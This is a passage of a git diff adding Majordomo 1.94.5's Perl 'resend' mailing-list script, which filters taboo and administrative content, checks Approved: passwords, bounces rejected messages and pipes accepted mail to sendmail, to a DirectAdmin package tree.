+# +# cache the message, so the parent sendmail process can exit. +# +&open_temp(OUT, "$TMPDIR/resend.$$.out") || + &abort("resend: Can't open $TMPDIR/resend.$$.out: $!"); + +&open_temp(IN, "$TMPDIR/resend.$$.in") || + &abort("resend: Can't open $TMPDIR/resend.$$.in: $!"); + +while () { + print IN $_; +} + +close(IN); + +open(IN, "$TMPDIR/resend.$$.in") || + die("resend: Can't open $TMPDIR/resend.$$.tmp: $!"); + +# +# Message parsing starts here +# + +print STDERR "$0: parsing header.\n" if $DEBUG; + +# parse the header for bad lines, etc. We'll bounce in a moment. +# +$result = &parse_header; + +# The first line of the body could hold an approved line. Let's check. +# +$_ = ; + +if (/^approved:\s*(.*)/i # aha! + && defined($opt_a)) { + # OK, is it a valid "Approved:" line? + $approved = &chop_nl($1); + if ($approved ne $opt_a + && !(&main'valid_passwd($listdir, $opt_l, $approved))) { #Augh!')){ + $result .= " Invalid 'Approved:' header"; + undef $approved; + } + # The Approved: line is valid + # Look at the next line: + $_ = ; + if (/\S/) { + # We have something other than a blank line. We _assume_ it's + # header. Consequences: if it's not a header, things get screwed + # badly. If we reverse the logic and look instead for something + # header-like, we permit the possibility of the moderator leaving + # out the blank line, which is not a good idea because they might + # get used to it, which will bite them when they approve a message + # starting something that looks like a header. + # XXX Options: complain if we find no blank line and no header-like + # stuff. + close OUT; # Nuke the output so far. + unlink "$TMPDIR/resend.$$.out"; # XXX These filenames should be in + # variables. + # Open a new temp file. + &open_temp(OUT, "$TMPDIR/resend.$$.out") || + &abort("resend: Can't open $TMPDIR/resend.$$.out: $!"); + + # We'll be nice and skip a From_ mailbox separator, which just + # might have been quoted by some intervening mail munger. + if (!/^>?From /) { + # Rewind back over the header line we just pulled + seek(IN, - length($_), 1); + } + + # Parse the following as a completely new message. + $result .= &parse_header; # The return value won't matter; we're + # approved. + + } + # else the line was blank; we let it be eaten and continue + +} else { + # No approved line, dniwer + seek(IN, - length($_), 1); +} + +print STDERR "$0: checking for valid sender.\n" if $DEBUG; + +# Check for a valid sender, if the list has restrict_post set +# and the message isn't approved. +# +# aauuuugggh! 'moderator' != 'restrict_post' !! They should be the +# same!! +# +$result .= &check_sender if ( defined( $opt_I ) && ! defined ($approved)); + +# If approval is required, and we haven't got it, boing it goes.. +# +$result = "Approval required: $result" if + (defined($opt_A) && ! defined($approved)); + +print STDERR "$0: sender check: '$result'\n" if $DEBUG; + +# Print the RFC822 separator +print OUT "\n"; + +# Print out any message_fronters +# +if ( $config_opts{$opt_l,"message_fronter"} ne '' ) { + local($fronter) = &config'substitute_values ( + $config_opts{$opt_l,"message_fronter"}, $opt_l);#'; + $fronter =~ s/\001|$/\n/g; + print OUT $fronter; +} + +# We are guaranteed to be just after a blank line now. Slurp the body +$result .= &parse_body; + +# Yes Tigger, *now* you can bounce. We've checked for +# any Approved headers & lines, taboo_headers, and taboo_bodies +&bounce($result) if ( $result =~ /\S/ && ! defined($approved)); + +# Print out any message_footers +# +print STDERR "$0: adding any footers.\n" if $DEBUG; + +if ( $config_opts{$opt_l,"message_footer"} ne '' ) { + local($footer) = + &config'substitute_values( + $config_opts{$opt_l,"message_footer"}, $opt_l); #' + $footer =~ s/\001|$/\n/g; + print OUT $footer; +} + +# Finished munging the message and decided it's valid, now send it out. +# +close OUT; + +# The following eval expands embedded variables like $sender +$sendmail_cmd = eval qq/"$mailer"/; +$sendmail_cmd .= " " . join(" ", @ARGV); + +# check for the dreaded -t option to sendmail, which will cause +# mail to loop 26 times... +# +if ($sendmail_cmd =~ /sendmail/ && $sendmail_cmd =~ /\s-t/) { + $sendmail_cmd =~ s/-t//; + &bitch("resend: \$sendmail_cmd (aka \$mailer in majordomo.cf\n" . + "had a -t option. This will cause mail to loop 26 times.\n" . + "Since this probably isn't what you want to have happen,\n". + "resend has not passed that option to sendmail.\n"); +} + +print STDERR "$0: \$sendmail_cmd is $sendmail_cmd\n" if $DEBUG; + +# To debug or not debug, that is the question. +# +if (defined($opt_d)) { + $| = 1; + $, = ' '; + print STDERR "Command: $sendmail_cmd\n"; + open (IN, "$TMPDIR/resend.$$.out"); + while () { + print STDERR $_; + } + unlink(&fileglob("$TMPDIR", "^resend\.$$\.")); + exit(0); +} + +# open the mailer +# +local(*MAILOUT, *MAILIN); +if (defined($isParent = open(MAILOUT, "|-"))) { + &do_exec_sendmail(split(' ', $sendmail_cmd)) + unless $isParent; # only if we're in the child +} else { + &abort("Failed to fork prior to mailer exec"); +} + +# open our tmp file +# +open(MAILIN, "$TMPDIR/resend.$$.out"); + +# spit it out! +# +while () { + print MAILOUT $_; +} + +# cleanup +# +close(MAILIN); +unlink(&fileglob("$TMPDIR", "^resend\.$$\.")) || &abort("Error unlinking temp files: $!"); +close(MAILOUT) || do { + $? >>= 8; + &abort("Mailer $sendmail_cmd exited unexpectedly with error $?") + unless ($sendmail_cmd =~ /sendmail/ && $? == $EX_NOUSER); +}; + +# Seeya. +# +exit(0); + + +###################################################################### +# +# Subroutines. +# +###################################################################### + +# check for a valid sender for moderated lists. +# +sub check_sender { + # Uh, who? + return " This may be hard to believe, but there was no \"From:\" field" . + "in this message I just received. I'm not gonna send it out, " . + "but you can... " if ! defined($from); + + local($file) = 0; + + # !@$#% cryptic variables. opt_I is restrict_post, which is a colon + # or whitespace seperated list of files that can contain valid + # senders. + # [[[ Scary, I just realized that !@$#% is almost valid perl... ]]] + local(@files) = split (/[:\s]+/, $opt_I); + + foreach $file (@files) { + # Return a null message if the sender (from the From: or + # Reply-To: headers) is found + # + return "" if &is_list_member($from, $listdir, $opt_l, $file) || + (defined $reply_to && + $reply_to ne $from && + &is_list_member($reply_to, $listdir, $opt_l, $file)); + } + + # We only get here if nothing matches. + # + " Non-member submission from [$from] "; +} + +# +# parse_header. +# Slurp in the header, checking for bad things. Returns a non-zero length string if +# a taboo or administrative header is found. +# +# [[[ Why couldn't one simply slurp the header in, assign it to an +# assoc. array, and print out everything but the bad stuff? ]]] +# + +sub parse_header { + local($gonna_bounce); + local($kept_last) = 0; # our return flag/string. + + print STDERR "$0: parse_header: enter.\n" if $DEBUG; + print STDERR "$0: parse_header: taboo_headers = $is_taboo_header\n" if $DEBUG; + print STDERR "$0: parse_header: global_taboo_headers = $is_global_taboo_header\n" if $DEBUG; + print STDERR "$0: parse_header: admin_headers = $is_admin_header\n" if $DEBUG; + + + while () { + print STDERR "$0: parse_header: [$.: $_]" if $DEBUG; + + last if /^$/; # stop when we hit the end. RFC822. + next unless /\S/; # skip leading blank lines; usually only + # there if this is a restart after an + # in-body "Approved:" line + + print STDERR "$0: parse_header: [$.] taboo_header check\n" + if $DEBUG; + # check for taboo_headers or approved header + # + if ($#taboo_headers >= $[ && !$approved && + eval $is_taboo_header) { + $gonna_bounce .= "taboo header: $taboo "; + print STDERR "$0: parse_header: [$.: boing: $gonna_bounce\n" if $DEBUG; + } + if ($DEBUG && $@) { + # Something went boink in eval, say something useful. + print STDERR "$0: parse_header: taboo_header error $@\n"; + } + + if ($#global_taboo_headers >= $[ && !$approved && + eval $is_global_taboo_header) { + $gonna_bounce .= "global taboo header: $taboo "; + print STDERR "$0: parse_header: [$.: boing: $gonna_bounce\n" if $DEBUG; + } + + if ($DEBUG && $@) { + # Something went boink in eval, say something useful. + print STDERR "$0: parse_header: global_taboo_header error $@\n"; + } + + + # check for administative headers: + # Usually subscribe, unsubscribe, etc, in Subject field + # + print STDERR "$0: parse_header: [$.] administrative_header check\n" + if $DEBUG; + + if ($#admin_headers >= $[ && !$approved && defined($opt_s) && + eval $is_admin_header) { + $gonna_bounce .= "Admin request: $taboo "; + print STDERR "$0: parse_header: [$.: boing: $gonna_bounce\n" if $DEBUG; + } + + print STDERR "$0: parse_header: Approved check\n" if $DEBUG; + + # Check for Approved line + # + # Oddly enough, we may already be approved when we get here. In + # that case, we should nuke any extra Approved: headers we see. + # Why? Well, consider this: you change the password, but send an + # approved message out before the config change takes effect. So + # it bounces back to you with the Approved: line in it. This line + # is now valid. You approve the bounce using the cut-and-paste + # method, putting another Approved: line in front of the headers of + # the raw bounced message and send it off. There are now two + # Approved: headers. If we don't remove the Approved: header from + # the headers of the message you pasted, we've revealed your list + # password. + + if (/^approved:\s*(.*)/i && defined($opt_a)) { + if (!$approved) { + print STDERR "$0: parse_header: found an approved header\n" if $DEBUG; + $approved = &chop_nl($1); + if ($approved ne $opt_a # check the p/w given against approve_passwd + && !(&main'valid_passwd($listdir, $opt_l, $approved))) { # and also against admin_passwd ') + if (defined($opt_A)) { # bounce only if list is moderated + $gonna_bounce .= "Invalid 'Approved:' header "; + print STDERR "$0: parse_header: [$.: boing: $gonna_bounce\n" if $DEBUG; + } + undef $approved; + } else { + # reset the bounce counter, so that we return cleanly. + # this allows a message with a taboo_header or admin_header + # but with a valid Approved line to be posted. + $gonna_bounce = ''; + next; # gotta remove that approved line, dontcha know + } + } + else { + # We have already been approved, so skip this header + next; + } + } + + print STDERR "$0: parse_header: skipping headers\n" if $DEBUG; + # skip all these headers + if (eval $skip_headers) { + $kept_last = 0; + print STDERR "$0: skipped\n" if $DEBUG; + next; + } + + # skip these special headers + if ((/^precedence:/i && defined($opt_p)) # skip only if "-p" set + || (/^received:/i && defined($opt_R)) # skip only if "-R" set + || (/^reply-to:/i && defined($opt_r)) # skip only if "-r" set + || (/^\s/ && ! $kept_last)) # skip if skipped last + { + $kept_last = 0; + print STDERR "$0: skipped\n" if $DEBUG; + next; + } + + # reset $kept_last in case next line is continuation + # this should go someplace now... but where? + print STDERR "$0: kept\n" if $DEBUG; + $kept_last = 1; + + + # prepend subject prefix + # + if ( (/^subject:\s*/i) + && ($config_opts{$opt_l,"subject_prefix"} ne '')) { + + print STDERR "$0: parse_header: adding subject prefix\n" if $DEBUG; + local($foo) = &config'substitute_values($config_opts{$opt_l,"subject_prefix"}, $opt_l);#'; + local($foo_pat) = $foo; + $foo_pat =~ s/(\W)/\\$1/g; + s/^subject:[^\S\n]*/Subject: $foo /i if !/$foo_pat/; + } + + # snag reply-to field + # + $reply_to = $1 if /^reply-to:\s*(.+)/i; + + # snag from line + # + if ( /^from:\s*(.+)/i ) { + $from = $1; + $from_last = 1; # the from line can span lines + } + elsif ( defined($from_last) ) { + if ( /^\s+(.+)/ ) { + $from .= " $1"; + } else { + undef($from_last); + } + } + +# Virtual Majordomo Hack +# s/^to:(.*)\b$opt_l\b(.*)$/To:$1 $opt_l\@$whereami $2/i ; + + &check_hdr_line($_); # check for length & balance on from, cc, and to fields. + print OUT $_; + } + + # finished with the header. + # Now, we aren't going to bounce yet, even if it looks bad, + # because we allow an Approved line as the _first_ line in the *body*. + # + # return $gonna_bounce if length($gonna_bounce); + + + print STDERR "$0: parse_header: adding header fields\n" + if $DEBUG; + + # add new header fields + print OUT "Sender: $sender\n"; + if (defined($opt_p)) { + print OUT "Precedence: $opt_p\n"; + } + + if (defined($opt_r)) { + print OUT "Reply-To: ", &config'substitute_values($opt_r), "\n"; #'; + } + + # print out per-list additonal headers + if ( $config_opts{$opt_l,"message_headers"} ne '' ) { + local($headers) = &config'substitute_values ( + $config_opts{$opt_l,"message_headers"}, $opt_l);#'; + $headers =~ s/\001|$/\n/g; + print OUT $headers; + } + print STDERR "$0: parse_header: returning with '$gonna_bounce'\n" if $DEBUG; + + " $gonna_bounce "; +} + +# Meander through the message body, checking for +# administravia, taboo stuff, and excessive length. +# +sub parse_body { + local($body_line_count, $body_len) = 0; + local($gonna_bounce); + + print STDERR "$0: parse_body: enter\n" if $DEBUG; + + while () { + $body_line_count++; + $body_len += length($_); + + # check for administravia in the first 10 lines of the body + # if so told and not approved. + if ($body_line_count < 10 + && defined($opt_s) + && !defined($approved) + && eval $is_admin_body) { + $gonna_bounce .= + " Admin request of type $taboo at line $body_line_count "; + next; + } + + # if not approved, check for taboo body stuff + # and message length + # + if ( !defined($approved)) { + + if ( $#taboo_body >= $[ + && eval $is_taboo_body) { + $gonna_bounce .= + " taboo body match \"$taboo\" at line $body_line_count "; + next; + } + + if ($#global_taboo_body >= $[ + && eval $is_global_taboo_body) { + $gonna_bounce .= + " global taboo body match \"$taboo\" " . + "at line $body_line_count "; + next; + } + + # make sure it doesn't make the message too long + if (defined($opt_M) + && $body_len > $opt_M + && !$already_bitched_about_length) { + $already_bitched_about_length++; + print STDERR "$0: parse_body: message too long\n" if $DEBUG; + $gonna_bounce .= " Message too long (>$opt_M chars) "; + next; + } + } + print OUT $_; + } # while + print STDERR "$0: parse_body: exiting with '$gonna_bounce'\n" + if $DEBUG; + + " $gonna_bounce "; +} + + + +sub check_balance { + print STDERR "$0: check_balance: enter: $_\n" if $DEBUG; + # set a temporary variable + local($t) = shift; + # Remove quoted material + # ( looks like lisp, don't it? ) + 1 while $t =~ s/(^|([^\\\"]|\\.)+)\"([^\\\"\n]|\\.)*\"?/$1/g; #" + # strip out all nested parentheses + 1 while $t =~ s/\([^\(\)]*\)//g; + # strip out all nested angle brackets + 1 while $t =~ s/\<[^\<\>]*\>//g; + # if any parentheses or angle brackets remain, were imbalanced + if ($t =~ /[\(\)\<\>]/ && ! defined($approved)) { + &bounce("Imbalanced parentheses or angle brackets"); + return(undef); + } + return(1); +} + +sub check_hdr_line { + + local($_) = shift; + print STDERR "$0: check_hdr_line: enter: $_\n" if $DEBUG; + + if (! /^\s/) { # is this a continuation line? + # Not a continuation line. + # If $balanced_fld is defined, it means the last field was one + # that needed to have balanced "()" and "<>" (i.e., "To:", "From:", + # and "Cc:", so check it. We do it here in case the last field was + # multi-line. + + if (defined($balanced_fld)) { + &check_balance($balanced_fld); + } + + # we undefine $balanced_fld and reset $field_len; these may be set below + + undef($balanced_fld); + $field_len = 0; + } + + # is this a field that must be checked for balanced "()" and "<>"? + if (defined($balanced_fld) || /^from:/i || /^cc:/i || /^to:/i) { + # yes it is, but we can't check it yet because there might be + # continuation lines. Buffer it to be checked at the beginning + # of the next non-continuation line. + + # is this line too long? + if ((length($_) > $MAX_HEADER_LINE_LENGTH) && ! defined($approved)) { + &bounce("Header line too long (>$MAX_HEADER_LINE_LENGTH)"); + return(undef); + } + + # is this field too long? + if ((($field_len += length($_)) > $MAX_TOTAL_HEADER_LENGTH) && ! defined($approved)) { + &bounce("Header field too long (>$MAX_TOTAL_HEADER_LENGTH)"); + return(undef); + } + + $balanced_fld .= $_; + chop($balanced_fld); + } + + # if we get here, everything was OK. + return(1); +} + +sub bounce { + local(*BOUNCE); + local($reason) = shift; + local($_); + + print STDERR "$0: bounce enter\n" if $DEBUG; + + &send_bounce(BOUNCE, + (( $config_opts{$opt_l, 'moderator'} ne "") ? + $config_opts{$opt_l, 'moderator'} : "$opt_l-approval\@$whereami"), + "BOUNCE $opt_l\@$opt_h: $reason"); + + seek(IN, 0, 0); + while () { + print BOUNCE $_; + } + close(BOUNCE); + unlink(&fileglob("$TMPDIR", "^resend\.$$\.")); + + print STDERR "$0: bounce exiting\n" if $DEBUG; + + exit(0); +} + +sub send_bounce { + local(*MAIL) = shift; + local($to) = shift; + local($subject) = shift; + local($isParent); + local($mailcmd); + + if (defined $bounce_mailer) { + # The eval expands embedded variables like $sender + $mailcmd = eval qq/"$bounce_mailer"/; + } + else { + # Painful, but we have to provide some kind of backwards + # compatibility and this is what 1.93 used + $mailcmd = "/usr/lib/sendmail -f$sender -t"; + } + + # clean up the addresses, for use on the sendmail command line + local(@to) = &ParseAddrs($to); + $to = join(", ", @to); + + # open the process + if (defined($opt_d)) { + # debugging, so just say it, don't do it + open(MAIL, ">-"); + print MAIL ">>> $mailcmd\n"; + } else { + if (defined($isParent = open(MAIL, "|-"))) { + &do_exec_sendmail(split(' ', $mailcmd)) + unless $isParent; + } else { + &abort("Failed to fork prior to mailer exec"); + } + } + + # generate the header + print MAIL <<"EOM"; +To: $to +From: $sender +Subject: $subject + +EOM + + return; +} diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/resend.orig b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/resend.orig new file mode 100644 index 0000000..4ffce5a --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/resend.orig @@ -0,0 +1,969 @@ +#!/bin/perl +# $Modified: Fri Jan 7 16:32:17 2000 by cwilson $ + +# Copyright 1992, D. Brent Chapman. All Rights Reserved. For use by +# permission only. +# +# $Source: /sources/cvsrepos/majordomo/resend,v $ +# $Revision: 1.90 $ +# $Date: 2000/01/07 15:32:39 $ +# $Author: cwilson $ +# $State: Exp $ +# +# $Locker: $ +# +# Okay, resend accepts many command line arguments, as revealed by the +# Getopts call: +# &Getopts("Aa:df:h:I:l:M:p:Rr:s") || die("resend: Getopts() failed: $!"); +# Most of these are defined via the list config file, so in general, +# it's a really bad idea to hardcode them in the alias definition. +# In a future version of majordomo, these will likely all be removed. +# +# Here's a description of them, just to be documentive. Note that the +# only REQUIRED option is -l. Even that will probably go away in the future. +# +# -l REQUIRED: specify list name +# -h specify host name +# -f specify "sender" (default -request) +# -M specify max message length to forward +# -p add "Precedence: " header +# -r add "Reply-To: " header +# -I Bounce messages from users not listed in file +# in colon-separated +# -a approval password +# -A moderate list (require "Approved:" for posting) +# -R delete "Received:" lines +# -s enable "administrivia" checks +# -d debug; say it, but don't do it +# -C alternate config file +# + +#$DEBUG = 1; + +# set our path explicitly +# PATH it is set in the wrapper, so there is no need to set it here. +#$ENV{'PATH'} = "/bin:/usr/bin:/usr/ucb"; + +# Before doing anything else tell the world I am resend +# The mj_ prefix is reserved for tools that are part of majordomo proper. +# (not that anything uses this variable.) +$main'program_name = 'mj_resend'; #'; + +# If the first argument is "@filename", read the real arguments +# from "filename", and shove them onto the ARGV for later processing +# by &Getopts() +# +if ($ARGV[0] =~ /^\@/) { + $fn = shift(@ARGV); + $fn =~ s/^@//; + open(AV, "< $fn" ) || die("open(AV, \"< $fn\"): $!\nStopped"); + undef($/); # set input field separator + $av = ; # read whole file into string + close(AV); + @av = split(/\s+/, $av); + unshift(@ARGV, @av); + $/ = "\n"; +} + +# Parse arguments here. We do this first so that we can conditionally +# evaluate code in majordomo.cf based on $opt_l (or any other command line +# argument). Here I've assumed that perl was installed correctly and +# getopts.pl was place where it's supposed to be. This changes previous +# behavior which allowed getopts.pl to be in the same place as +# majordomo.cf. +require "getopts.pl"; +&Getopts("C:c:Aa:df:h:I:l:M:p:Rr:s") || die("resend: Getopts() failed: $!"); + +if (! defined($opt_l)) { + die("resend: must specify '-l list'"); +} + +# Read and execute the .cf file +$cf = $opt_C || $opt_c || $ENV{"MAJORDOMO_CF"} || "/etc/majordomo.cf"; + +# Despite not having a place to send the remains of the body, +# it would be nice to send a message to root or postmaster, at least... +# +if (! -r $cf) { + die("$cf not readable; stopped"); +} + +require "$cf"; + +chdir($homedir) || die("Can't chdir(\"$homedir\"): $!"); + +unshift(@INC, $homedir); +require "ctime.pl"; # For logging purposes +require "majordomo.pl"; +require "majordomo_version.pl"; +require "config_parse.pl"; + +# pickup hostname from majordomo.cf unless defined on the command line +$opt_h = $opt_h || $whereami; + +# smash case for the list name +$opt_l =~ tr/A-Z/a-z/; + +# We must set up the mailers and logging as soon possible so that we can +# send and log complaints and aborts somewhere. Unfortunately we need to +# parse the config file to get some of the variables. So we fake it here, +# and set them properly later. +# XXX It is possible that owner-$opt_l won't be the right address, but we +# have little choice. Sending the bounces to $whoami_owner is an option, +# but might not clearly indicate the list name. +$sendmail_command = $sendmail_command || "/usr/lib/sendmail"; +$bounce_mailer = $bounce_mailer || "$sendmail_command -f\$sender -t"; +&set_mail_from("owner-$opt_l"); +&set_mail_sender("owner-$opt_l"); +&set_mailer($bounce_mailer); +&set_abort_addr("owner-$opt_l"); +&set_log($log, $opt_h, "resend", $opt_l); + +if (! defined ($TMPDIR)) { + &bitch("\$TMPDIR wasn't defined in $cf. Using /usr/tmp instead.\n". + "Please define in $cf.\n"); + $TMPDIR = '/usr/tmp'; +} + +# if we're running from a tty, just spit to stderr, else +# open up a temp file for the debug output. +# +if (! -t STDERR) { + close STDERR; + open (STDERR, ">>$TMPDIR/resend.debug"); +} + +# XXX some standard way of setting defaults needs to be done.. +# +$MAX_HEADER_LINE_LENGTH = $MAX_HEADER_LINE_LENGTH || 128; +$MAX_TOTAL_HEADER_LENGTH = $MAX_TOTAL_HEADER_LENGTH || 1024; + +print STDERR "$0 [$$]: starting.\n" if $DEBUG; + +if ( ! @ARGV) { + die("resend: must specify outgoing list as last arg(s)"); + # this doesn't have to be this way. It could slurp it + # from the alias it was invoked as...? +} + +# A classic case of feeping creaturism. While there are possibly good reasons +# why all these things can be classified on the command line, there's +# *NO* good reason why everything is "opt_X". YATTF. +# +$opt_r = "$opt_r\@$opt_h" if ( defined($opt_r) ); + +&get_config($listdir, $opt_l); + +$opt_A = &cf_ck_bool($opt_l,"moderate") if &cf_ck_bool($opt_l,"moderate"); +$opt_h = $config_opts{$opt_l,"resend_host"} + if($config_opts{$opt_l,"resend_host"} ne ''); +$opt_a = $config_opts{$opt_l,"approve_passwd"} + if ($config_opts{$opt_l,"approve_passwd"} ne ''); +$opt_M = $config_opts{$opt_l,"maxlength"} + if ($config_opts{$opt_l,"maxlength"} ne ''); + +$opt_f = $config_opts{$opt_l,"sender"} + if ($config_opts{$opt_l,"sender"} ne ''); +$opt_p = $config_opts{$opt_l,"precedence"} + if ($config_opts{$opt_l,"precedence"} ne ''); +$opt_r = $config_opts{$opt_l,"reply_to"} + if ($config_opts{$opt_l,"reply_to"} ne ''); +$opt_I = $config_opts{$opt_l,"restrict_post"} + if ($config_opts{$opt_l,"restrict_post"} ne ''); +$opt_R = &cf_ck_bool($opt_l,"purge_received") + if &cf_ck_bool($opt_l,"purge_received"); +$opt_s = &cf_ck_bool($opt_l,"administrivia") + if &cf_ck_bool($opt_l,"administrivia"); +$opt_d = &cf_ck_bool($opt_l,"debug") + if &cf_ck_bool($opt_l,"debug"); + +# Construct the envelope sender for outbound messages +if (defined($opt_f)) { + $sender = $opt_f; +} else { + $sender = "$opt_l-request"; +} + +# If the sender doesn't contain an `@', tack on one, followed by the +# hostname +if ($sender !~ /\@/) { + $sender .= "\@$opt_h"; +} + +# We can now properly define some of the mailer properties. +&set_mail_from($sender); +&set_mail_sender($sender); +&set_abort_addr($sender); +&set_log($log, $opt_h, "resend", $opt_l); + +if (defined($opt_A) && ! defined($opt_a)) { + die("resend: must also specify '-a passwd' if using '-A' flag"); +} + + +# +# These are headers to skip +# +$skip_headers = '/^from /i' . + '|| /^x-confirm-reading-to:/i' . # pegasus mail (windoze) + '|| /^disposition-notification-to:/i' . # eudora + '|| /^x-ack:/i' . + '|| /^sender:/i' . + '|| /^return-receipt-to:/i' . + '|| /^errors-to:/i' . + '|| /^flags:/i' . + '|| /^resent-/i' . + '|| /^priority/i' . + '|| /^x-pmrqc:/i' . + '|| /^return-path:/i' . + '|| /^encoding:/i' # could munge the length of the message + ; + +# +# Define the eval's used to catch "taboo" headers, message contents, +# and administrative headers. The taboo headers can be global +# or per list. The administrative headers are global. +# +# The eval is a construct like so: +# foo: { /^subject:\s*subscribe/ && ( $taboo = '/^subject:\s*subscribe/', last foo); } +# so that the eval returns the regexp that matched. +# + +print STDERR "$0: defining evals to catch the bad stuff.\n" if $DEBUG; + +if ($config_opts{$opt_l, 'taboo_headers'} ne '') { + @taboo_headers = split(/\001/,$config_opts{$opt_l, 'taboo_headers'}); + if ($#taboo_headers >= $[) { + $is_taboo_header = "foo: {\n"; + foreach $t (@taboo_headers) { + ($ts = $t) =~ s/(['\\])/\\$1/g; + $is_taboo_header .= "$t && (\$taboo = '$ts', last foo);\n"; + } + $is_taboo_header .= "\$taboo = \"\";\n}; \$taboo;\n"; + } +} + +if ($config_opts{$opt_l, 'taboo_body'} ne '') { + @taboo_body = split(/\001/,$config_opts{$opt_l, 'taboo_body'}); + if ($#taboo_body >= $[) { + $is_taboo_body = "foo: {\n"; + foreach $t (@taboo_body) { + ($ts = $t) =~ s/(['\\])/\\$1/g; + $is_taboo_body .= "$t && (\$taboo = '$ts', last foo);\n"; + } + $is_taboo_body .= "\$taboo = \"\";\n}; \$taboo;\n"; + } +} + +if (defined($global_taboo_headers)) { + @global_taboo_headers = split(/\n/,$global_taboo_headers); + if ($#global_taboo_headers >= $[) { + $is_global_taboo_header = "foo: {\n"; + foreach $t (@global_taboo_headers) { + ($ts = $t) =~ s/(['\\])/\\$1/g; + $is_global_taboo_header .= "$t && (\$taboo = '$ts', last foo);\n"; + } + $is_global_taboo_header .= "\$taboo = \"\";\n}; \$taboo;\n"; + } +} + +if (defined($global_taboo_body)) { + @global_taboo_body = split(/\n/,$global_taboo_body); + if ($#global_taboo_body >= $[) { + $is_global_taboo_body = "foo: {\n"; + foreach $t (@global_taboo_body) { + ($ts = $t) =~ s/(['\\])/\\$1/g; + $is_global_taboo_body .= "$t && (\$taboo = '$ts', last foo);\n"; + } + $is_global_taboo_body .= "\$taboo = \"\";\n}; \$taboo;\n"; + } +} +#"; dammit. + +# admin subject checks. Since $admin_headers is defined in $cf +# (majordomo.cf), an upgrade may not have $admin_headers. +# Bitch about it if so. +# +if (! defined($admin_headers)) { + &bitch("resend: \$admin_headers not defined in $cf !!\n" . + "Majordomo will only catch \"subscribe\" and \"unsubscribe\" in\n" . + "the subject field...\n"); + @admin_headers = ('/^subject:\s*subscribe\b/i' , + '/^subject:\s*unsubscribe\b/i'); +} else { + @admin_headers = split(/\n/, $admin_headers); +} + +$is_admin_header = "foo: {\n"; +foreach $t (@admin_headers) { + $is_admin_header .= "$t && (\$taboo = '$t', last foo);\n"; +} +$is_admin_header .= "\$taboo = \"\";\n}; \$taboo;\n"; + +# Body Check! +# Common things that people send to the wrong address. +# These are caught in the first 10 lines of the message body +# if 'administravia' is turned on and the message isn't marked approved. +# +# The code that catches this should transparently redirect +# majordomo commands to majordomo. That would give the additional +# advantage of not having to add to this silly construct for +# each new majordomo command. +# +# $admin_body should be defined in the $cf file, but an upgrade +# may miss this fact. Bitch about it, and use a minimal list if so. +# +if (! defined($admin_body)) { + &bitch("resend: \$admin_body not defined in $cf !!\n" . + "Majordomo will only catch \"subscribe\" and \"unsubscribe\" in\n" . + "the body.\nLook at $homedir/sample.cf for a good definition."); + @admin_body = ('/^subject:\s*subscribe\b/i' , + '/^subject:\s*unsubscribe\b/i'); +} else { + @admin_body = split(/\n/, $admin_body); +} + +$is_admin_body = "foo: {\n"; +foreach $t (@admin_body) { + $is_admin_body .= "$t && (\$taboo = '$t', last foo);\n"; +} +$is_admin_body .= "\$taboo = \"\";\n}; \$taboo;\n"; + + +print STDERR "$0: caching the message.\n" if $DEBUG; + +# +# cache the message, so the parent sendmail process can exit. +# +&open_temp(OUT, "$TMPDIR/resend.$$.out") || + &abort("resend: Can't open $TMPDIR/resend.$$.out: $!"); + +&open_temp(IN, "$TMPDIR/resend.$$.in") || + &abort("resend: Can't open $TMPDIR/resend.$$.in: $!"); + +while () { + print IN $_; +} + +close(IN); + +open(IN, "$TMPDIR/resend.$$.in") || + die("resend: Can't open $TMPDIR/resend.$$.tmp: $!"); + +# +# Message parsing starts here +# + +print STDERR "$0: parsing header.\n" if $DEBUG; + +# parse the header for bad lines, etc. We'll bounce in a moment. +# +$result = &parse_header; + +# The first line of the body could hold an approved line. Let's check. +# +$_ = ; + +if (/^approved:\s*(.*)/i # aha! + && defined($opt_a)) { + # OK, is it a valid "Approved:" line? + $approved = &chop_nl($1); + if ($approved ne $opt_a + && !(&main'valid_passwd($listdir, $opt_l, $approved))) { #Augh!')){ + $result .= " Invalid 'Approved:' header"; + undef $approved; + } + # The Approved: line is valid + # Look at the next line: + $_ = ; + if (/\S/) { + # We have something other than a blank line. We _assume_ it's + # header. Consequences: if it's not a header, things get screwed + # badly. If we reverse the logic and look instead for something + # header-like, we permit the possibility of the moderator leaving + # out the blank line, which is not a good idea because they might + # get used to it, which will bite them when they approve a message + # starting something that looks like a header. + # XXX Options: complain if we find no blank line and no header-like + # stuff. + close OUT; # Nuke the output so far. + unlink "$TMPDIR/resend.$$.out"; # XXX These filenames should be in + # variables. + # Open a new temp file. + &open_temp(OUT, "$TMPDIR/resend.$$.out") || + &abort("resend: Can't open $TMPDIR/resend.$$.out: $!"); + + # We'll be nice and skip a From_ mailbox separator, which just + # might have been quoted by some intervening mail munger. + if (!/^>?From /) { + # Rewind back over the header line we just pulled + seek(IN, - length($_), 1); + } + + # Parse the following as a completely new message. + $result .= &parse_header; # The return value won't matter; we're + # approved. + + } + # else the line was blank; we let it be eaten and continue + +} else { + # No approved line, dniwer + seek(IN, - length($_), 1); +} + +print STDERR "$0: checking for valid sender.\n" if $DEBUG; + +# Check for a valid sender, if the list has restrict_post set +# and the message isn't approved. +# +# aauuuugggh! 'moderator' != 'restrict_post' !! They should be the +# same!! +# +$result .= &check_sender if ( defined( $opt_I ) && ! defined ($approved)); + +# If approval is required, and we haven't got it, boing it goes.. +# +$result = "Approval required: $result" if + (defined($opt_A) && ! defined($approved)); + +print STDERR "$0: sender check: '$result'\n" if $DEBUG; + +# Print the RFC822 separator +print OUT "\n"; + +# Print out any message_fronters +# +if ( $config_opts{$opt_l,"message_fronter"} ne '' ) { + local($fronter) = &config'substitute_values ( + $config_opts{$opt_l,"message_fronter"}, $opt_l);#'; + $fronter =~ s/\001|$/\n/g; + print OUT $fronter; +} + +# We are guaranteed to be just after a blank line now. Slurp the body +$result .= &parse_body; + +# Yes Tigger, *now* you can bounce. We've checked for +# any Approved headers & lines, taboo_headers, and taboo_bodies +&bounce($result) if ( $result =~ /\S/ && ! defined($approved)); + +# Print out any message_footers +# +print STDERR "$0: adding any footers.\n" if $DEBUG; + +if ( $config_opts{$opt_l,"message_footer"} ne '' ) { + local($footer) = + &config'substitute_values( + $config_opts{$opt_l,"message_footer"}, $opt_l); #' + $footer =~ 